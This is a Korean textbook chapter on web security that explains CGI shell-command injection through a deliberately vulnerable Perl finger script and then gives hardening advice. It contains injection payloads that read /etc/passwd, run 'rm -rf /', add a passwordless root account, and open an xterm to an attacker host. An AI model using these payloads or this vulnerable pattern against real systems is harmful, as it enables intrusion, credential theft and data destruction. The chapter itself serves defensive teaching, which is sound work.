4. WWW의 취약점과 보안

WWW(World Wide Web)란 간단히 말해서 기존의 인터넷 서비스가 문자위주인 것을 보완하여 그림도 볼 수 있고 문서와 문서를 연결시켜서 원하는 내용을 쉽게 찾아 갈 수 있도록 만든 인터넷 서비스이다. 앞으로 WWW를 □웹□이라고 줄여서 사용하도록 하겠다. 웹은 사용의 편리함 때문에 초보자들로부터 환영을 받았고 이로 인해서 웹의 사용은 폭발적으로 늘어나게 되었으며 요즘에는 인터넷과 웹의 차이를 구분하지 못할 정도로 그 비중이 엄청나게 커졌다. 사람들이 웹을 처음 접했을때는 상당히 편리하다고 느꼈지만 시간이 지나면서 웹에 어떤어떤 기능이 더 첨부되면 더 좋겠다 하는 점들이 많이 생겨나게 되었다. HTML(Hyper Text Markup Language)로만 되어 있는 문서들은 정적이고 움직임이 없었다. 단지 웹 서버에서 문서를 받아다가 이 문서를 요청한 브라우저에 전해주는 일만 했기 때문이다. 이를 개선하기 위해 CGI(Common Gateway Interface), SSI(Server Side Include), Java, Javascript, ActiveX등의 기술들이 개발되었고 지금도 여러가지 기술들에 대한 개발이 진행중이다. 하지만 많은 기술들이 개발되면서 예상치 못한 여러가지 문제또한 생겨났다. 그 한 예로 프로그램을 원격으로 실행할 수 있게 해 주는 기능이 추가됨에 따라 외부에 있는 사용자가 어느 특정한 곳을 공격할 수 있는 가능성이 생겨났다. 여기서는 CGI를 이용한 공격 유형에 대해 알아보고 그에 대한 대비책을 알아보고자 한다.

4.1. CGI

CGI는 웹 서버, 웹 브라우저, 프로그램간의 인터페이스이다. 즉, 브라우저에서 서버로 전달된 자료를 프로그램에 어떤 방법으로 전달하고, 프로그램이 처리한 자료를 사용자의 브라우저로 어떤 방법으로 전달하는가 하는 인터페이스를 뜻한다. 그러므로 CGI 프로그램은 브라우저로부터 입력을 받아서 웹 서버에서 CGI 프로그램을 실행시키고 그 결과를 처리해서 브라우저로 전달하는 것이다. 즉, CGI 프로그램은 웹 서버에 의해서 실행된다. 만약에 어떤 사용자가 CGI 프로그램에 비정상적인 데이터를 입력해서 예기치 않은 작동을 하게 할 수 있다면 이는 보안상 문제가 될 수 있다.

4.1.1. 웹 서버 프로세스의 권한

웹 서버는 대부분 루트(root)권한으로 실행된다. 그리고 웹 서버는 자신의 자식 프로세스를 여러개 만든다. 요즘 나오는 대부분의 웹 서버들은 자식 프로세스의 권한을 다른 사용자의 권한으로 조정할 수 있게 해주지만 초창기 웹 서버들은 자식 프로세스의 권한 조정이 되지 않아서 루트로 실행되는 경우가 많았다. CGI 프로그램이 웹 서버에서 실행될 때 CGI 프로그램은 웹 서버의 자식 프로세스의 권한으로 실행된다. 그래서 웹 서버의 자식 프로세스가 누구의 권한으로 실행되고 있는가는 웹 보안에서 매우 중요하다.

4.1.2. CGI 프로그램에서 쉘 명령어 실행

다음과 같은 간단한 CGI 프로그램을 PERL로 만들었다고 생각해 보자.

finger.cgi

------------------------------

#!/usr/bin/perl

# Programmed by ohhara@postech.ac.kr

# 1997/12/20

# This program has a security hole!! DON'T USE IT!!

$buffer=$ENV{'QUERY_STRING'};

@pairs = split(/&/, $buffer);

foreach $pair (@pairs)

{

($name, $value) = split(/=/, $pair);

$value =~ tr/+/ /;

$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

$FORM{$name} = $value;

}

print("Content-type: text/plain\n\n");

print `finger $FORM{"user"}`;

------------------------------

그리고 이 CGI 프로그램을 다음과 같은 HTML파일에서 실행시켰다고 하자.

finger.html

------------------------------

<html>

<head>

<title>finger</title>

</head>

<body>

finger<br>

<form method="get" action="/cgi-bin/finger.cgi">

who:<input type="text" name="user"><br>

<input type="submit">

<input type="reset">

</form>

</body>

</html>

------------------------------

위의 CGI 프로그램은 finger.html로부터 사용자 계정을 입력받아서 finger.cgi에 user라는 이름으로 전달한다. finger.cgi는 입력받은 user에 대해 finger를 하기 위해 쉘 명령어를 실행시킨다. 그리고 그 결과를 브라우저에 출력한다. 위의 CGI프로그램을 살펴보면 특별히 문제될 것이 없어보인다. 하지만 위의 CGI프로그램은 보안상 큰 문제를 가지고 있다. finger.html의 user에 foo라고 입력하면 finger foo가 실행되서 다음과 같은 결과가 출력된다.

------------------------------

Login: foo                              Name: Foo

Directory: /home/foo                    Shell: /bin/tcsh

On since Sat Dec 20 14:53 (KDT) on ttyp0 from ppp9

15 minutes 32 seconds idle

New mail received Sat Dec 20 19:47 1997 (KDT)

Unread since Sat Dec 20 13:41 1997 (KDT)

No Plan.

------------------------------

하지만 어떤 사용자가 user에 foo ; /bin/cat /etc/passwd라고 입력하면 finger foo ; /bin/cat /etc/passwd가 실행되서 다음과 같은 결과가 출력된다.

------------------------------

Login: foo                              Name: Foo

Directory: /home/foo                    Shell: /bin/tcsh

On since Sat Dec 20 14:53 (KDT) on ttyp0 from ppp9

1 minute 59 seconds idle

Mail last read Sat Dec 20 23:15 1997 (KDT)

No Plan.

root:ZABG.s8sfGlhM:0:0:root,,,,:/root:/bin/tcsh

bin:*:1:1:bin:/bin:

daemon:*:2:2:daemon:/sbin:

adm:*:3:4:adm:/var/adm:

lp:*:4:7:lp:/var/spool/lpd:

sync:*:5:0:sync:/sbin:/bin/sync

(생략)

------------------------------

이와 같이 쉘 명령어를 ;뒤에 입력해서 사용자가 원하는 임의의 쉘 명령어를 실행시킬 수 있다. 만약에 어떤 사람이 <input type="text" name="user">와 같은 방법으로 임의의 입력을 사용자로부터 받는 것이 마음에 들지 않는다고 <input type="hidden" name="user" value="foo">와 같이 해 놓아도 여전히 위험하다. 외부 사용자가 이 HTML파일을 자신의 컴퓨터에 저장하고 이 HTML파일을 다음과 같이 수정할 수 있다.

<input type="hidden" name="user" value="foo ; /bin/cat /etc/passwd">

이렇게 하고 다시 submit을 하면 위에서 했던 작업과 똑같은 작업을 수행해서 /etc/passwd 파일을 출력한다.

그리고 이 쉘 명령어의 실행권한은 웹 서버의 자식 프로세스의 실행권한이다. 만약에 웹 서버의 자식 프로세스가 루트권한으로 실행되고 있었다면 foo ; rm -rf / 와 같은 끔찍한 쉘 명령어는 물론이고 foo ; echo "bar::0:0:bar,,,,:/:/bin/sh" >> /etc/passwd 같은 쉘 명령어도 실행시켜서 패스워드 파일에 슈퍼유저 권한의 패스워드가 없는 계정을 만들 수 있다. 또한 xwindow가 설치되어 있다면 foo ; /usr/bin/X11/xterm -display evil.postech.ac.kr:0 같은 쉘 명령어를 실행시켜서 루트 쉘을 볼 수도 있다. 그렇기 때문에 웹 서버는 특별한 이유가 없는한 자식 프로세스를 루트권한으로 실행시키면 안된다. 그리고 웹 서버의 자식 프로세스를 nobody로 실행시킨다고 해도 안심해서는 안된다. nobody도 /etc/passwd 파일 정도는 읽을 수 있기 때문에 패스워드 파일을 가지고 패스워드 추측에 사용되는 보안 도구인 Crack을 이용해서 사용자의 패스워드를 추정할 수 있기 때문이다. 위의 CGI 프로그램을 안정적으로 만들려면 사용자가 입력하는 내용에서 쉘 명령어를 실행시킬 수 있는 제어문자들을 제거해야 된다. CGI 프로그램에서 쉘명령어 실행전의 제어문자의 제거는 아주 중요하다. 반드시 제거해야 되는 제어문자는 다음과 같다.

& ; ` ' \" | * ? ~ < > ^ ( ) [ ] { } $ \n \r

phf라는 CGI 프로그램은 쉘 명령어를 실행할 때 엔터문자를 제거하지 않아서 입력 데이터 중간에 엔터문자를 삽입하고 뒤에 쉘 명령어를 삽입해서 외부사용자가 임의의 쉘 명령어를 웹 서버의 자식 프로세스의 권한으로 실행시킬 수 있는 버그를 가지고 있었다.

그러므로 현재 웹 서버에 CGI 프로그램을 설치할 때는 이런 비정상적인 행동을 하지 않는 안정적인 것만 설치해야 한다. 하지만 버그가 전혀 없는 프로그램은 없으므로 이 또한 힘든 일이다. 이에 대한 미봉책으로는 웹 서버의 기록파일(log file)을 자주 확인하는 것이고 좀더 괜찮은 방법으로는 chroot를 사용해서 /etc 나 /bin 같은 디렉토리에 접근 자체를 하지 못하도록 만드는 것이다.

4.2. 안전한 웹 서버를 만들기 위한 방법

웹 서버를 완전히 안전하게 만들 수는 없다. 하지만 조금이라도 안전하게 만드는 방법에 대해 알아보자.

4.2.1. CGI 프로그램은 컴파일한다

일반적인 쉘 스크립트로 CGI 프로그램을 만들었을 경우에는 정상적인 방법으로는 불가능하지만 비정상적인 방법을 써서 소스코드를 볼 가능성이 있다. 그리고 외부 사용자가 그 소스코드에서 버그를 찾아내서 공격할 수도 있다. 하지만 CGI 프로그램을 컴파일 해 놓는다면 그 CGI 프로그램의 소스가 공개되어있지 않다면 CGI 프로그램의 소스를 볼 수 없기 때문에 공격하기가 그만큼 힘들어 진다. 그러므로 CGI 프로그램은 컴파일하는 것이 안전하다. 요즘 CGI 프로그래밍 언어로 많이 쓰이는 PERL은 스크립트언어이고 보통 컴파일을 하지 않기 때문에 불안해 하는 사람들도 있을 것이다. 하지만 PERL로 만든 CGI 프로그램은 컴파일을 못하는 것이 아니라 컴파일하기가 귀찮아서 하지 않는 경우가 많으므로 보안에 신경을 쓴다면 이것은 큰 문제가 되지 않는다.

4.2.2. CGI 프로그램의 디렉토리의 권한은 711로 한다.

CGI 프로그램의 디렉토리의 권한을 755로 주게 되면 어떤 CGI 프로그램이 있는지 알 수가 있게 되고 그 CGI 프로그램의 버그를 찾아서 공격할 가능성이 있다. 그러므로 CGI 프로그램의 디렉토리의 권한을 711로 줘서 CGI 프로그램의 이름을 정확히 아는 경우에만 실행할 수 있도록 해야 된다.

4.2.3. 사용자의 입력을 자세히 검사한다.

CGI 프로그램을 만들다 보면 쉘 명령어를 어쩔 수 없이 써야 되는 경우가 생긴다. 하지만 이럴 때 사용자의 입력을 자세히 검사하지도 않고 바로 쉘 명령어를 실행시키게 되면 앞부분에서 언급한 것 같이 임의의 쉘 명령어를 실행시킬 수가 있게 된다. 그리고 사용자의 입력을 검사할 때 사용자가 반드시 HTML의 FORM을 통해서만 입력한다고 생각하면 안된다. 어떤 사용자가 CGI 프로그램의 소스코드를 보고 버그를 찾아내서 CGI 프로그램에 비정상적인 데이터를 입력해서 CGI 프로그램이 예기치못한 행동을 하게 할 가능성이 있기 때문이다. 그리고 위에서도 약간 언급이 있었지만 FORM의 HIDDEN값은 사용자가 고치지 못할 걸로 예상하면 안된다. 외부의 어떤 사용자가 HTML파일을 자신의 시스템에 저장하고 HIDDEN값을 수정한 다음 다시 submit을 해서 CGI 프로그램이 예기치못한 행동을 하게 할 가능성이 있기 때문이다. 그러므로 모든 사용자의 입력은 CGI 프로그램 실행에 문제가 없는지 자세히 검사해 보고 실행해야 한다.

4.2.4. 쉘 명령어를 실행할 때 절대경로로 실행한다.

즉 PATH에 의존하는 쉘 명령어를 실행하지 않는게 좋다. 다시 말하면 system("ls /home/foo"); 와 같이 하는 것 보다는 system("/bin/ls /home/foo"); 와 같이 하는 것이 좋다. 누군가가 PATH를 바꿔서 공격할 수 있기 때문이다. 꼭 PATH에 의존하는 쉘 명령어를 실행시키고 싶다면 CGI프로그램 처음에 PATH를 설정해 준다. 또한 PATH뿐만이 아니라 시스템 환경변수에 의존적인 명령어를 실행시키는 것은 가능한한 피하는 것이 좋다.

4.2.5. Buffer Overflow가 일어나지 않도록 한다.

CGI프로그램도 잘못 만들면 Buffer Overflow가 일어날 수도 있다. 그러므로 사용자가 입력하는 데이터의 길이가 어느정도일 것이다라는 식으로 가정하고 CGI 프로그램을 만든다면 Buffer Overflow로 공격받을 수 있다. 지금도 많이 쓰이는 Count.cgi 2.3도 Buffer Overflow 버그가 있어서 외부 사용자가 쉘을 얻어낼 수 있다. 그러므로 Buffer Overflow가 일어날 것 같은 코드는 만들지 않는게 좋으며 개발시에는 반드시 경계 체크(boundary check)를 해 주어야 한다. 만일 CGI 프로그램이 setuid를 이용한다면 특히 주의를 해야 한다.

4.2.6. CGI프로그램의 설치를 일반 사용자에게 허가하지 않는다.

CGI를 일반 사용자가 설치하다가 약간이라도 실수를 하게 되면 그 웹 서버 전체가 위험해 지는 일이 생길 수 있다. 가급적이면 CGI는 웹 서버 관리자만 설치하게 하고 일반 사용자에게는 허가하지 않는게 좋다. 만약에 허가해 준다면 사용자들로부터 CGI 프로그램 설치 신청을 받아서 하나하나 웹 서버 관리자가 설치하던지 아니면 사용자에게 보안 구멍을 만들지 않도록 확실히 교육시켜야 한다.

4.2.7. 웹 서버의 자식 프로세스는 루트권한으로 실행하지 않는다.

웹 서버의 자식 프로세스를 루트권한으로 실행시키는 경우가 있다. 이런 경우에 CGI 프로그램 중에 어떤 하나가 쉘 명령어를 실행시킬 수 있는 버그를 가지고 있다면 외부 사용자는 임의의 쉘 명령어를 루트권한으로 실행시킬 수 있게 되는 것이다. 그러므로 웹 서버의 자식 프로세스는 루트가 아닌 다른 사람 권한으로 실행시키는 것이 좋다. 요즘의 웹 서버는 일반적으로 자식 프로세스를 nobody권한으로 실행시킨다.

4.2.8. Anonymous FTP와 웹 서버의 디렉토리는 공유하지 않는다.

incoming디렉토리를 만들지 않고 공유하는 것은 문제가 되지 않지만 incoming디렉토리가 있고 공유하는 경우에는 incoming에 CGI 프로그램을 전송하고 웹 서버를 통해서 그 CGI 프로그램을 실행시킬 가능성이 있기 때문이다. 디렉토리를 공유하지 않는다고 해도 anonymous FTP 서버와 웹 서버가 한 호스트에 설치되어 있다면 anonymous FTP 서버의 incoming디렉토리로 쉘 스크립트를 전송하고 웹 서버의 CGI 프로그램에서 쉘 명령어를 실행시킬 수 있는 버그를 찾아낸 다음 전송한 쉘 스크립트를 실행할 수도 있기 때문에 anonymous FTP 서버와 웹 서버를 함께 운영할 경우에는 이를 조심해야 된다.

4.2.9. chroot의 사용하에 웹 서버를 설치한다.

chroot를 사용하여 웹 서버를 설치하면 CGI를 이용해서 불필요한 파일에 접근을 하지 못하도록 만들 수 있다. 이렇게 하면 외부 사용자가 공격하기가 상당히 어려워진다. 여기에 대한 자세한 내용은 이 책의 □chroot()를 이용한 안전한 웹 서버 설치하기□를 참조하기 바란다.

참고 자료

The World Wide Web Security FAQ : http://www.w3.org/Security/Faq/

Safe CGI Programming : http://www.cerf.net/~paulp/cgi-security/safe-cgi.txt

The Unofficial Web Hack FAQ : http://www.fastlane.net/~thegnome/faqs/www/index.html

Bugtraq mailing list archives : http://www.geek-girl.com/bugtraq/